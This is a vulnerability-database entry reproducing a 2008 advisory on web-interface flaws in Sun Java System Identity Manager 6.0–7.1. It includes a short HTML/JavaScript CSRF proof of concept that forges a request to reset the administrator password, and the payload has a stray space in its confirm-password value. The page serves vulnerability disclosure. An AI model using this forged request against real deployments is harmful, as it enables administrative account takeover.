Recent Vulnerabilities Product List Research Posts Trends Blog About Contact

Related Vulnerabilities: CVE-2008-5115

Publish Date: 11 Nov 2008

                source: http://www.securityfocus.com/bid/32262/info


Sun Java System Identity Manager is prone to multiple web-interface vulnerabilities, including a cross-site request-forgery issue, multiple cross-site scripting issues, multiple HTML-injection issues, and a directory-traversal vulnerability.

Successful exploits of many of these issues will allow an attacker to completely compromise the affected application.

These issues affect the following versions:

Sun Java System Identity Manager 6.0
Sun Java System Identity Manager 6.0 SP1
Sun Java System Identity Manager 6.0 SP2
Sun Java System Identity Manager 6.0 SP3
Sun Java System Identity Manager 6.0 SP4
Sun Java System Identity Manager 7.0
Sun Java System Identity Manager 7.1 

&lt;html&gt; &lt;h1&gt;CSRF attack demo - changes administrative password to 'Password19'&lt;/h1&gt; &lt;script&gt; var img = new Image(); img.src = 'https://target.tld/idm/admin/changeself.jsp?id=&amp;command=Save&amp;activeControl=&amp;resourceAccounts.password=Password19&amp;resourceAccounts.confirmPassword=Passwo rd19&amp;resourceAccounts.currentResourceAccounts%5BLighthouse%5D.selected=true'; &lt;/script&gt; &lt;/html&gt;

Vulmon Search is a vulnerability search engine. It gives comprehensive vulnerability information through a very simple user interface.

Home Recent Vulnerabilities Product List Vendor List Research Posts Trends Blog About Contact

Vulmon Search Vulmon Research Vulmon Alerts Vulmap

Twitter Reddit Linkedin Facebook

Sun Java System Identity Manager 6.0/7.x - Multiple Vulnerabilities

Vulmon Search

About

Products

Connect